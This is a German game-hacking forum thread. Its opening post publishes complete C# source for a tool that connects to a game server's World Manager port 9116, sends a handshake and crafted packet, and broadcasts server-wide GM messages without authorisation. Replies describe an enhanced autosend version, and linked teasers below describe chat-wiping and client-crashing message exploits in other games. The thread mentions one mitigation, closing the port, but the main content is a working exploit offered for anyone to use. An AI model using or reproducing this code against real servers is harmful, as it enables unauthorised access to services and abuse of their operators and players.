Hab mich dazu entschlossen ein paar alte Dinge publik zu machen, vielleicht hilft es ja interessierten Nutzern sich weiterzubilden oder desgleichen.
Ich fang mal an mit nem schönen alten Exploit, durch den es 2008~2010 möglich war auf offiziellen Servern unter anderem serverweite Nachrichten (auch bekannt als GM Nachrichten, konnte man damals als GM auch ingame mit &n <Nachricht> senden) ohne Rechte zu haben zu senden. Das Ganze geht noch immer auf fast allen privaten Servern, wobei ich nicht sicher weiß, ob es auch unter den neuen Serverfiles klappt.
Das Ganze wurde als fertiges Tool irgendwann um 2010 mal in nem anderen Board gepostet, wobei ich mir jedoch sicher bin, dass der Quellcode bislang nicht publik wurde.
Ihr tut hier eigentlich nicht mehr als nen Handshake und das Paket mit der Nachricht an den World Manager über Port 9116 senden. N kleiner Hotfix dafür wäre zum Beispiel Port 9116 in der Firewall überhaupt nicht zu öffnen.. den nutzt eh nur das OpTool, welches ohnehin nur lokal ausgeführt werden sollte.
Habs euch mal als C# Klasse kopierpastetenfertig aufbereitet:
Code:
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
namespace GMMessage
{
class GMMessage
{
private Socket sock;
private byte[] buffer;
private IPAddress ip;
private string msg;
private System.Windows.Forms.TextBox textBox;
public GMMessage(string IP)
{
this.ip = IPAddress.Parse(IP);
}
~GMMessage()
{
this.sock.Close();
}
public void SendMessage(string message)
{
this.msg = message;
IPEndPoint remoteEP = new IPEndPoint(this.ip, 9116); //OPTool => World Manager
this.sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
this.sock.Connect(remoteEP);
this.sock.BeginReceive(this.buffer = new byte[1], 0, 1, SocketFlags.None, new AsyncCallback(this.ParseHeader), this.sock);
}
private void ParseHeader(IAsyncResult result)
{
if (this.sock.EndReceive(result) > 0)
{
byte size = this.buffer[0];
this.sock.BeginReceive(this.buffer = new byte[size], 0, size, SocketFlags.None, new AsyncCallback(this.ParseData), this.sock);
}
else
{
//failed :'<
this.sock.Close();
}
}
private void ParseData(IAsyncResult result)
{
if (this.sock.EndReceive(result) > 0)
{
switch (this.buffer[0])
{
case 1:
this.sock.Send(new byte[] { 9, 2, 8, 0, 5, 8, 0, 0, 13, 0 }); //Handshake
goto case 2;
case 2:
this.sock.BeginReceive(this.buffer = new byte[1], 0, 1, SocketFlags.None, new AsyncCallback(this.ParseHeader), this.sock);
break;
case 3:
{
using (MemoryStream output = new MemoryStream())
{
using (BinaryWriter writer = new BinaryWriter(output))
{
//Header
writer.Write((byte)(this.msg.Length + 4));
writer.Write((byte)16);
writer.Write((byte)32);
writer.Write((byte)60);
//Body
writer.Write(Encoding.ASCII.GetBytes(this.msg)); //Message
//Footer
writer.Write((byte)0);
byte[] buffer = new byte[writer.BaseStream.Length];
writer.BaseStream.Position = 0L;
writer.BaseStream.Read(buffer, 0, (int)writer.BaseStream.Length);
this.sock.Send(buffer);
//done
}
}
goto case 2;
}
}
}
else
{
//failed :'<
this.sock.Close();
return;
}
}
}
}
Das Ganze mit toller Klickibunti-GUI als C#-Projekt findet ihr im Anhang. Kompilieren dürft ihr selbst.
Achja, es ist mir absolut egal was ihr damit tut und wo ihr es repostet, aber bitte behauptet nicht das Ganze käme von euch, danke.
Das hab ich nun daraus gemacht:
-Autosend und zugehörige Zeitangabe eingefügt
(Zeitangabe erfolgt in Minuten, beim Start wird direkt
die erste Nachricht gesendet)
-Portangabe eingefügt
-Es werden nur Zahlen in der Port und Timerbox oder
Zahlen und Punkte in der IP Box angenommen
-Fehlermeldung falls Port nicht existiert
-Umlaute werden nun ingame angezeigt
Hier das fertige Programm und nochmal danke an Che
Wieso ports ändern? Habs bei mir getestet, kommt keine Message durch
War nun auch mehr als alternative zum GMShout von csharp gedacht
welcher zwar gut ist aber keine Portänderung zulässt, keine Umlaute kann
und auch erst nach angegebener Zeit die erste Nachricht losschickt.
Wieso ports ändern? Habs bei mir getestet, kommt keine Message durch
War nun auch mehr als alternative zum GMShout von csharp gedacht
welcher zwar gut ist aber keine Portänderung zulässt, keine Umlaute kann
und auch erst nach angegebener Zeit die erste Nachricht losschickt.
Ich mein unser alter Server (Cookie).
Dort ging das noch, und man konnte durch die standart ports connecten.
Dann einfach ports geändert, und es war nichtmehr möglich, außerhalb des Roots eine GMMessage zu senden.
Ich mein unser alter Server (Cookie).
Dort ging das noch, und man konnte durch die standart ports connecten.
Dann einfach ports geändert, und es war nichtmehr möglich, außerhalb des Roots eine GMMessage zu senden.
Naja wenn man alle Dienste öffentlich laufen lässt dann ists natürlich nicht verwunderlich xD
Aber aus Fehlern lernt man ja und zum Glück machen wir ja alle noch Fehler
Naja wenn man alle Dienste öffentlich laufen lässt dann ists natürlich nicht verwunderlich xD
Aber aus Fehlern lernt man ja und zum Glück machen wir ja alle noch Fehler
World of Warcraft: Recipe exploit via desync 04/26/2012 - WoW Exploits, Hacks, Tools & Macros - 40 Replies ImperiousVideos is back. We recently suffered two bans back to back so when we reached max level we got an insta ban and had to start all over again. We found yet another desync which was what the Trade Window Exploit was. Although, this one is not as advanced as the other and you have major limitations. One thing is you cannot stray to far from the guild bank or all the effects wear off. However, you can do one of the best things in TWE, which was re-using items. Read description and Enjoy....
[ZYNGA] Adventure World Energy Exploit 09/17/2011 - Facebook - 0 Replies Hey does Any know hack Charles.... Cheat engine.... Mass Tabs... Any thing to Give unlimited Energy ??? because this game kills me the amount energy you need to do 1 map..... ..... ...
World CHAT BUG EXPLOIT IT NOW 10/03/2009 - Conquer Online 2 - 24 Replies if you type in
\n it creates a new line
if u constantly do \n \n \n \n \n \n \n \n \n \n \n \n \n like that (without spaces in between the \n) it wipes out world chat.
you can make fun things such as the bunny bug
\n (\_/) \n (='.'=) \n (")_(")
[Exploit] Message Trick..[Revived!] 01/03/2008 - WoW Exploits, Hacks, Tools & Macros - 8 Replies It was not too long ago (lol) that the message trick where you where you can make it look like other people have said what you said swept though the World of Warcraft community. However, it was very much looked down upon, and it soon fell out of fashion, with all the idiots using it incredibly obviously and getting banned for doing things like making popular level 70's talk about sucking things :/. I am here to revive this great little trick, and with some very easy to use tactics, I believe...
New message exploit 05/19/2006 - Conquer Online 2 - 16 Replies Just saw someone jump into my screen and message a long string of characters of some order that caused everyone in the area to crash. I had two crash and when I logged back on, everyone else was gone too.
This and the "bunny" problem is going to be very very annoying.